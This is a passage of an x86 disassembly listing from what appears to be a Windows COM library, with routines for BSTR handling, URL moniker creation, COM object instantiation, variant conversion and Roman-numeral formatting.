		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-44h] ; BSTR
		mov	esi, SysFreeString
		call	esi ; SysFreeString
		push	dword ptr [ebp-48h] ; BSTR
		call	esi ; SysFreeString
		push	dword ptr [ebp-40h] ; BSTR
		call	esi ; SysFreeString
		push	dword ptr [ebp-2Ch] ; BSTR
		call	esi ; SysFreeString
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-64h]


loc_69B73BDB:				; CODE XREF: sub_69B73A84+1Ej
		call	sub_69B1853C
		retn	8
sub_69B73A84	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B73BE8	dd 0FFFFFFFFh			dd offset loc_69B73B96
		dd offset loc_69B73B9F

; =============== S U B	R O U T	I N E =======================================



sub_69B73BF4	proc near		; CODE XREF: sub_69B73C9C+Dp
					; sub_69B73F00+53p
		push	28h
		push	offset dword_69B73C90
		call	sub_69B19C5C
		xor	edi, edi
		xor	ebx, ebx
		mov	[ebp-4], edi
		mov	eax, [ecx+1Ch]
		mov	[ebp-1Ch], eax
		mov	ecx, [eax+0B4h]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	esi, eax
		mov	[ebp-20h], esi
		mov	ecx, esi
		call	sub_69B3DD84
		mov	[ebp-24h], eax
		test	eax, eax
		jnz	short loc_69B73C48
		cmp	[ebp+0Ch], al
		jz	short loc_69B73C3B
		mov	eax, [esi+18h]
		mov	[ebp-28h], eax
		jmp	short loc_69B73C41
; ---------------------------------------------------------------------------


loc_69B73C3B:				; CODE XREF: sub_69B73BF4+3Dj
		mov	eax, [esi+14h]
		mov	[ebp-2Ch], eax


loc_69B73C41:				; CODE XREF: sub_69B73BF4+45j
		mov	[ebp-24h], eax
		test	eax, eax
		jz	short loc_69B73C69


loc_69B73C48:				; CODE XREF: sub_69B73BF4+38j
		mov	ecx, [eax+0Ch]
		mov	[ebp-30h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	edi, eax
		mov	[ebp-34h], edi
		test	edi, edi
		jnz	short loc_69B73C69
		mov	ebx, 8007000Eh
		mov	[ebp-38h], ebx


loc_69B73C69:				; CODE XREF: sub_69B73BF4+52j
					; sub_69B73BF4+6Bj
		mov	eax, [ebp+8]
		mov	[eax], edi
		jmp	short loc_69B73C81
; ---------------------------------------------------------------------------


loc_69B73C70:				; DATA XREF: .text:69B73C94o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B73C79:				; DATA XREF: .text:69B73C98o
		mov	esp, [ebp-18h]
		mov	ebx, 80004005h


loc_69B73C81:				; CODE XREF: sub_69B73BF4+7Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, ebx
		call	sub_69B1853C
		retn	8
sub_69B73BF4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B73C90	dd 0FFFFFFFFh			dd offset loc_69B73C70
		dd offset loc_69B73C79

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B73C9C	proc near		; CODE XREF: .text:69B73EAEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		mov	esi, ecx
		call	sub_69B73BF4
		test	eax, eax
		jl	short loc_69B73CDB
		cmp	[ebp+var_4], 0
		jz	short loc_69B73CD4
		push	[ebp+var_4]
		add	esi, 24h
		mov	ecx, esi
		call	sub_69B738D5
		mov	eax, [ebp+arg_0]
		mov	[eax], esi
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		xor	eax, eax
		jmp	short loc_69B73CE0
; ---------------------------------------------------------------------------


loc_69B73CD4:				; CODE XREF: sub_69B73C9C+1Aj
		mov	eax, 80004002h
		jmp	short loc_69B73CE0
; ---------------------------------------------------------------------------


loc_69B73CDB:				; CODE XREF: sub_69B73C9C+14j
		mov	eax, 8007000Eh


loc_69B73CE0:				; CODE XREF: sub_69B73C9C+36j
					; sub_69B73C9C+3Dj
		pop	esi
		leave
		retn	4
sub_69B73C9C	endp

; ---------------------------------------------------------------------------


loc_69B73CE5:				; DATA XREF: .text:69B15FECo
		push	38h
		push	offset dword_69B73EE8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B73D08
		mov	eax, 80004005h
		jmp	loc_69B73EDD
; ---------------------------------------------------------------------------


loc_69B73D08:				; CODE XREF: .text:69B73CFCj
		mov	ebx, [ebp+8]
		lea	ecx, [ebx-0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-2Ch], 0
		and	dword ptr [ebp-30h], 0
		push	4
		pop	eax
		mov	ecx, eax
		mov	edi, offset dword_69B2AF00
		mov	esi, [ebp+0Ch]
		xor	edx, edx
		repe cmpsd
		mov	ecx, eax
		jnz	loc_69B73E67
		mov	edi, offset stru_69B25E34
		mov	esi, [ebp+10h]
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B73DB9
		mov	ecx, eax
		mov	edi, offset dword_69B25E14
		mov	esi, [ebp+10h]
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B73DB9
		mov	ecx, eax
		mov	edi, (offset loc_69B2B07C+4)
		mov	esi, [ebp+10h]
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B73DB9
		mov	dword ptr [ebp-4], 1
		mov	ecx, [ebx+0Ch]
		mov	[ebp-34h], ecx
		call	sub_69B6F543
		mov	[ebp-38h], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	eax
		call	dword ptr [ecx]
		push	eax
		call	sub_69B8861E
		jmp	loc_69B73E38
; ---------------------------------------------------------------------------


loc_69B73D99:				; DATA XREF: .text:69B73EF8o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B73DA2:				; DATA XREF: .text:69B73EFCo
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		jmp	short loc_69B73E35
; ---------------------------------------------------------------------------


loc_69B73DB9:				; CODE XREF: .text:69B73D4Cj
					; .text:69B73D5Cj ...
		and	dword ptr [ebp-4], 0
		mov	eax, [ebx+0Ch]
		mov	[ebp-3Ch], eax
		mov	ecx, [eax+0B4h]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	esi, eax
		mov	[ebp-40h], esi
		mov	ecx, esi
		call	sub_69B3DD84
		mov	[ebp-44h], eax
		test	eax, eax
		jz	short loc_69B73E05
		mov	ebx, [ebx+0Ch]
		mov	[ebp-48h], ebx
		mov	ecx, [ebx+0B4h]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	ecx, [eax]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B73E35
; ---------------------------------------------------------------------------


loc_69B73E05:				; CODE XREF: .text:69B73DE2j
		lea	eax, [ebp-30h]
		push	eax
		push	offset dword_69B2B040
		lea	ecx, [esi+0Ch]
		call	sub_69B8900B
		mov	eax, [ebp-30h]
		test	eax, eax
		jnz	short loc_69B73E26
		mov	dword ptr [ebp-2Ch], 80004005h
		jmp	short loc_69B73E38
; ---------------------------------------------------------------------------


loc_69B73E26:				; CODE XREF: .text:69B73E1Bj
		mov	ecx, [eax]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+0Ch]


loc_69B73E35:				; CODE XREF: .text:69B73DB7j
					; .text:69B73E03j
		mov	[ebp-2Ch], eax


loc_69B73E38:				; CODE XREF: .text:69B73D94j
					; .text:69B73E24j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B73EBC
; ---------------------------------------------------------------------------


loc_69B73E3E:				; DATA XREF: .text:69B73EECo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B73E47:				; DATA XREF: .text:69B73EF0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax
		mov	eax, [ebp+14h]
		and	dword ptr [eax], 0
		jmp	short loc_69B73E38
; ---------------------------------------------------------------------------


loc_69B73E67:				; CODE XREF: .text:69B73D3Aj
		mov	edi, offset dword_69B2AF40
		mov	esi, [ebp+0Ch]
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B73E88
		add	ebx, 0FFFFFFF0h
		mov	eax, [ebx]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		call	dword ptr [eax]


loc_69B73E83:				; CODE XREF: .text:69B73EB3j
		mov	[ebp-2Ch], eax
		jmp	short loc_69B73EBC
; ---------------------------------------------------------------------------


loc_69B73E88:				; CODE XREF: .text:69B73E73j
		mov	ecx, eax
		mov	edi, offset dword_69B2AEF0
		mov	esi, [ebp+0Ch]
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B73EB5
		mov	ecx, eax
		mov	edi, (offset loc_69B2B07C+4)
		mov	esi, [ebp+10h]
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B73EB5
		push	dword ptr [ebp+14h]
		lea	ecx, [ebx-10h]
		call	sub_69B73C9C
		jmp	short loc_69B73E83
; ---------------------------------------------------------------------------


loc_69B73EB5:				; CODE XREF: .text:69B73E96j
					; .text:69B73EA6j
		mov	dword ptr [ebp-2Ch], 80004002h


loc_69B73EBC:				; CODE XREF: .text:69B73E3Cj
					; .text:69B73E86j
		mov	eax, [ebp-30h]
		test	eax, eax
		jz	short loc_69B73EC9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B73EC9:				; CODE XREF: .text:69B73EC1j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B73EDD:				; CODE XREF: .text:69B73D03j
		call	sub_69B1853C
		retn	10h
; ---------------------------------------------------------------------------
		align 4
dword_69B73EE8	dd 0FFFFFFFFh			dd offset loc_69B73E3E
		dd offset loc_69B73E47
		dd 0FFFFFFFFh
		dd offset loc_69B73D99
		dd offset loc_69B73DA2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B73F00(LPCWSTR szURL, LPCWSTR pszPath, int, int, int)

sub_69B73F00	proc near		; DATA XREF: .text:69B15FB8o

var_14		= byte ptr -14h
var_8		= dword	ptr -8
ppmk		= dword	ptr -4
szURL		= dword	ptr  8
pszPath		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		call	dword_69B92948
		xor	edi, edi
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_69B73F20
		mov	eax, 80004005h
		jmp	loc_69B73FD1
; ---------------------------------------------------------------------------


loc_69B73F20:				; CODE XREF: sub_69B73F00+14j
		push	esi
		mov	esi, [ebp+szURL]
		lea	ecx, [esi-14h]
		call	sub_69B87FDC
		push	eax
		push	[ebp+var_8]
		lea	ecx, [ebp+var_14]
		call	sub_69B1A8C7
		cmp	[ebp+pszPath], edi
		mov	[ebp+szURL], edi
		mov	[ebp+ppmk], edi
		jnz	short loc_69B73F4A
		mov	esi, 80070057h
		jmp	short loc_69B73FBD
; ---------------------------------------------------------------------------


loc_69B73F4A:				; CODE XREF: sub_69B73F00+41j
		push	ebx
		push	edi
		lea	eax, [ebp+szURL]
		push	eax
		lea	ecx, [esi-18h]
		call	sub_69B73BF4
		mov	ebx, [ebp+szURL]
		mov	esi, eax
		cmp	esi, edi
		jl	short loc_69B73FA8
		cmp	ebx, edi
		jz	short loc_69B73F86
		cmp	[ebx], di
		jz	short loc_69B73F86
		lea	eax, [ebp+ppmk]
		push	eax		; ppmk
		push	ebx		; szURL
		push	edi		; pMkCtx
		call	CreateURLMoniker
		mov	esi, eax
		cmp	esi, edi
		jl	short loc_69B73FA8
		push	[ebp+arg_C]
		push	[ebp+pszPath]
		push	[ebp+ppmk]
		jmp	short loc_69B73F9A
; ---------------------------------------------------------------------------


loc_69B73F86:				; CODE XREF: sub_69B73F00+63j
					; sub_69B73F00+68j
		push	[ebp+pszPath]	; pszPath
		call	ds:PathIsURLW	; PathIsURLW
		test	eax, eax
		jz	short loc_69B73FA3
		push	[ebp+arg_C]	; ppmk
		push	[ebp+pszPath]	; szURL
		push	edi		; pMkCtx


loc_69B73F9A:				; CODE XREF: sub_69B73F00+84j
		call	CreateURLMoniker
		mov	esi, eax
		jmp	short loc_69B73FA8
; ---------------------------------------------------------------------------


loc_69B73FA3:				; CODE XREF: sub_69B73F00+91j
		mov	esi, 80070057h


loc_69B73FA8:				; CODE XREF: sub_69B73F00+5Fj
					; sub_69B73F00+79j ...
		push	ebx		; BSTR
		call	SysFreeString
		mov	eax, [ebp+ppmk]
		cmp	eax, edi
		pop	ebx
		jz	short loc_69B73FBD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B73FBD:				; CODE XREF: sub_69B73F00+48j
					; sub_69B73F00+B5j
		lea	ecx, [ebp+var_14]
		call	sub_69B1976C
		push	[ebp+var_8]
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B73FD1:				; CODE XREF: sub_69B73F00+1Bj
		pop	edi
		leave
		retn	14h
sub_69B73F00	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73FD6	proc near		; CODE XREF: sub_69B15D80+3Bp
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		retn
sub_69B73FD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73FDD	proc near		; CODE XREF: sub_69B740BF+11Ep
					; sub_69B741F3+7p

arg_0		= dword	ptr  4

		mov	eax, [ecx+0Ch]
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+0Ch]
		push	esi
		mov	esi, [eax]
		xor	edx, edx
		push	edx
		push	edx
		push	42h
		push	1
		push	edx
		push	edx
		push	edx
		push	edx
		push	ecx
		push	eax
		call	dword ptr [esi+14h]
		mov	esi, eax
		cmp	esi, 80020101h
		jnz	short loc_69B74011
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E875


loc_69B74011:				; CODE XREF: sub_69B73FDD+26j
		push	esi
		call	sub_69B8861E
		pop	esi
		retn	4
sub_69B73FDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7401B(int, int, VARTYPE vt, VARIANTARG *pvarg)

sub_69B7401B	proc near		; CODE XREF: sub_69B75667+2Fp
					; sub_69B75E84+92p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
vt		= word ptr  10h
pvarg		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_4], edi
		mov	ebx, ecx
		jz	short loc_69B740A7
		push	esi
		mov	esi, [ebp+arg_0]
		push	esi
		lea	ecx, [esi+8Ch]
		call	sub_69B70C02
		mov	ecx, esi
		call	sub_69B6E333
		mov	esi, [ebp+pvarg]
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+0Ch]
		mov	eax, [ebx+0Ch]
		mov	edx, [eax]
		push	edi
		push	esi
		push	20h
		push	1
		push	edi
		push	edi
		push	edi
		push	edi
		push	ecx
		push	eax
		call	dword ptr [edx+14h]
		mov	ebx, eax
		cmp	ebx, 80020101h
		jnz	short loc_69B74073
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E875


loc_69B74073:				; CODE XREF: sub_69B7401B+4Aj
		push	ebx
		call	sub_69B8861E
		mov	eax, dword ptr [ebp+vt]
		cmp	[esi], ax
		jz	short loc_69B740A6
		push	eax		; vt
		push	1		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		push	esi		; pvarSrc
		push	esi		; pvargDest
		call	VariantChangeTypeEx
		mov	ebx, eax
		cmp	ebx, edi
		jz	short loc_69B740A6
		push	esi		; pvarg
		call	VariantClear
		push	ebx
		call	sub_69B2E8B8


loc_69B740A6:				; CODE XREF: sub_69B7401B+64j
					; sub_69B7401B+7Cj
		pop	esi


loc_69B740A7:				; CODE XREF: sub_69B7401B+Cj
		pop	edi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B7401B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B740AD	proc near		; CODE XREF: sub_69B70B8C+18p
		mov	eax, [ecx+8]
		mov	ecx, [eax]
		push	0
		push	eax
		call	dword ptr [ecx+14h]
		push	eax
		call	sub_69B8861E
		retn
sub_69B740AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B740BF	proc near		; CODE XREF: sub_69B16198+47p
					; sub_69B74222+5p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		cmp	[esi+2Ch], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_1], 0
		jnz	short loc_69B740E4
		lea	edi, [esi+8]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B7413F


loc_69B740E4:				; CODE XREF: sub_69B740BF+1Bj
		push	0
		lea	edi, [esi+8]
		push	edi
		mov	[ebp+var_1], 1
		call	sub_69B17320
		push	0
		lea	ebx, [esi+0Ch]
		push	ebx
		call	sub_69B17320
		mov	eax, [ebp+var_8]
		push	edi		; ppv
		push	offset stru_69B2B130 ; riid
		push	1		; dwClsContext
		mov	[esi+2Ch], eax
		push	0		; pUnkOuter
		lea	eax, [esi+1Ch]
		push	eax		; rclsid
		call	ds:CoCreateInstance
		push	eax
		call	sub_69B8861E
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ebx
		push	offset dword_69B2B120
		push	eax
		call	dword ptr [ecx]
		push	eax
		call	sub_69B8861E
		mov	ebx, [ebx]
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+0Ch]
		push	eax
		call	sub_69B8861E


loc_69B7413F:				; CODE XREF: sub_69B740BF+23j
		mov	eax, [edi]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	offset dword_69B2B110
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B74193
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		mov	ebx, offset stru_69B2B130
		push	ebx
		push	eax
		call	dword ptr [ecx+0Ch]
		push	eax
		call	sub_69B8861E
		or	[ebp+var_8], 0Fh
		push	[ebp+var_8]
		mov	eax, [ebp+var_C]
		push	[ebp+var_10]
		mov	ecx, [eax]
		push	ebx
		push	eax
		call	dword ptr [ecx+10h]
		push	eax
		call	sub_69B8861E
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B74193:				; CODE XREF: sub_69B740BF+92j
		mov	ecx, [esi+14h]
		mov	eax, [edi]
		mov	edx, [eax]
		push	ecx
		push	eax
		call	dword ptr [edx+0Ch]
		push	eax
		call	sub_69B8861E
		cmp	[ebp+var_1], 0
		jz	short loc_69B741EE
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_69B741EE
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_69B741EE
		mov	edi, [edi]
		mov	eax, [edi]
		push	2
		push	edi
		call	dword ptr [eax+14h]
		push	eax
		call	sub_69B8861E
		push	dword ptr [esi+10h]
		lea	ecx, [ebp+var_14]
		call	sub_69B8A0E9
		jmp	short loc_69B741E6
; ---------------------------------------------------------------------------


loc_69B741D5:				; CODE XREF: sub_69B740BF+12Dj
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		push	eax
		mov	ecx, esi
		call	sub_69B73FDD
		add	[ebp+var_14], 4


loc_69B741E6:				; CODE XREF: sub_69B740BF+114j
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_14], eax
		jb	short loc_69B741D5


loc_69B741EE:				; CODE XREF: sub_69B740BF+EAj
					; sub_69B740BF+F1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B740BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B741F3	proc near		; CODE XREF: sub_69B7521B+ACp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B73FDD
		add	esi, 10h
		cmp	dword ptr [esi], 0
		jnz	short loc_69B74213
		call	sub_69B1D7F6
		push	eax
		push	esi
		call	sub_69B17320


loc_69B74213:				; CODE XREF: sub_69B741F3+12j
		push	[esp+4+arg_0]
		mov	ecx, [esi]
		call	sub_69B8A35C
		pop	esi
		retn	4
sub_69B741F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74222	proc near		; CODE XREF: sub_69B70D5C+40p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B740BF
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+0A8h], 2
		jnz	short loc_69B7424F
		mov	eax, [esi+8]
		mov	ecx, [eax]
		push	0Ch
		push	offset psz1	; "Context"
		push	eax
		call	dword ptr [ecx+20h]
		push	eax
		call	sub_69B8861E


loc_69B7424F:				; CODE XREF: sub_69B74222+15j
		mov	eax, [esi+14h]
		push	0
		add	eax, 20h
		push	eax
		call	sub_69B17320
		mov	eax, [esi+8]
		mov	ecx, [eax]
		push	2
		push	eax
		call	dword ptr [ecx+14h]
		mov	ebx, eax
		mov	eax, [esi+14h]
		add	eax, 20h
		mov	edi, [eax]
		push	0
		push	eax
		call	sub_69B17320
		test	edi, edi
		jz	short loc_69B74285
		mov	ecx, edi
		call	sub_69B2E875


loc_69B74285:				; CODE XREF: sub_69B74222+5Aj
		push	ebx
		call	sub_69B8861E
		mov	ecx, [esi+18h]
		call	sub_69B6E333
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B74222	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74299	proc near		; CODE XREF: sub_69B70A09+1Bp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+8]
		mov	eax, [edi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		push	eax
		call	sub_69B8861E
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		push	0
		push	edi
		call	sub_69B17320
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	0
		add	esi, 18h
		push	esi
		call	sub_69B2DEB2
		pop	edi
		pop	esi
		retn
sub_69B74299	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B742DA	proc near		; DATA XREF: .text:69B161F8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B742F5
		test	[esp+4+arg_0], 1
		jz	short loc_69B742EF
		push	esi
		call	sub_69B1829F


loc_69B742EF:				; CODE XREF: sub_69B742DA+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B742DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B742F5	proc near		; CODE XREF: sub_69B742DA+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B2DEDD
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B742F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7432D	proc near		; CODE XREF: sub_69B70DF4+7Dp
		push	30h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B7433F
		mov	ecx, eax
		jmp	sub_69B16198
; ---------------------------------------------------------------------------


loc_69B7433F:				; CODE XREF: sub_69B7432D+9j
		xor	eax, eax
		retn	8
sub_69B7432D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74344	proc near		; CODE XREF: sub_69B747A7+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jnz	short loc_69B74350
		xor	eax, eax
		jmp	short locret_69B74370
; ---------------------------------------------------------------------------


loc_69B74350:				; CODE XREF: sub_69B74344+6j
		mov	eax, [ecx]
		push	esi
		jmp	short loc_69B74366
; ---------------------------------------------------------------------------


loc_69B74355:				; CODE XREF: sub_69B74344+29j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	eax, [esp+4+arg_0]
		jz	short loc_69B74373
		mov	eax, [esi]
		mov	ecx, esi


loc_69B74366:				; CODE XREF: sub_69B74344+Fj
		call	dword ptr [eax+64h]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B74355


loc_69B7436F:				; CODE XREF: sub_69B74344+31j
		pop	esi

locret_69B74370:			; CODE XREF: sub_69B74344+Aj
		retn	8
; ---------------------------------------------------------------------------


loc_69B74373:				; CODE XREF: sub_69B74344+1Cj
		mov	eax, esi
		jmp	short loc_69B7436F
sub_69B74344	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74377	proc near		; DATA XREF: .text:69B142B0o

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jnz	short loc_69B74387
		mov	eax, 80004003h
		jmp	short loc_69B743B5
; ---------------------------------------------------------------------------


loc_69B74387:				; CODE XREF: sub_69B74377+7j
		cmp	[esp+4+arg_4], 0
		jz	short loc_69B743B0
		push	[esp+4+arg_4]
		call	sub_69B47D5E
		test	eax, eax
		jz	short loc_69B743B0
		push	esi
		or	esi, 0FFFFFFFFh


loc_69B7439F:				; CODE XREF: sub_69B74377+32j
		mov	edx, [eax]
		mov	ecx, eax
		inc	esi
		call	dword ptr [edx+64h]
		test	eax, eax
		jnz	short loc_69B7439F
		mov	[edi], esi
		pop	esi
		jmp	short loc_69B743B5
; ---------------------------------------------------------------------------


loc_69B743B0:				; CODE XREF: sub_69B74377+15j
					; sub_69B74377+22j
		mov	eax, 80070057h


loc_69B743B5:				; CODE XREF: sub_69B74377+Ej
					; sub_69B74377+37j
		pop	edi
		retn	0Ch
sub_69B74377	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B743B9	proc near		; DATA XREF: .text:69B142BCo

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jnz	short loc_69B743C9
		mov	eax, 80004003h
		jmp	short loc_69B743F5
; ---------------------------------------------------------------------------


loc_69B743C9:				; CODE XREF: sub_69B743B9+7j
		cmp	[esp+4+arg_4], 0
		jz	short loc_69B743F0
		push	[esp+4+arg_4]
		call	sub_69B47D5E
		test	eax, eax
		jz	short loc_69B743F0
		mov	edx, [eax]
		push	0
		mov	ecx, eax
		call	dword ptr [edx+88h]
		inc	eax
		mov	[esi], eax
		xor	eax, eax
		jmp	short loc_69B743F5
; ---------------------------------------------------------------------------


loc_69B743F0:				; CODE XREF: sub_69B743B9+15j
					; sub_69B743B9+22j
		mov	eax, 80070057h


loc_69B743F5:				; CODE XREF: sub_69B743B9+Ej
					; sub_69B743B9+35j
		pop	esi
		retn	0Ch
sub_69B743B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B743F9	proc near		; CODE XREF: sub_69B7491F+B8p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B74410
		xor	eax, eax
		jmp	loc_69B74523
; ---------------------------------------------------------------------------


loc_69B74410:				; CODE XREF: sub_69B743F9+Ej
		xor	ecx, ecx
		cmp	[ebp+arg_C], ebx
		mov	[ebp+var_4], offset aMdclxvi ; "MDCLXVI"
		jnz	short loc_69B74425
		mov	[ebp+var_4], offset aMdclxvi_0 ; "mdclxvi"


loc_69B74425:				; CODE XREF: sub_69B743F9+23j
		push	esi
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	[ebp+arg_C], 3E8h
		mov	[ebp+var_8], 64h
		mov	[ebp+var_C], ebx
		cmp	edx, ebx
		mov	[ebp+arg_0], edx
		jbe	loc_69B74514
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+arg_4], eax


loc_69B74458:				; CODE XREF: sub_69B743F9+EDj
					; sub_69B743F9+10Dj
		cmp	ecx, [ebp+arg_8]
		jnb	loc_69B74512
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_C]
		lea	edx, [eax+ecx]
		cmp	edx, [ebp+arg_8]
		ja	loc_69B7450B
		cmp	eax, 4
		jl	short loc_69B7449D
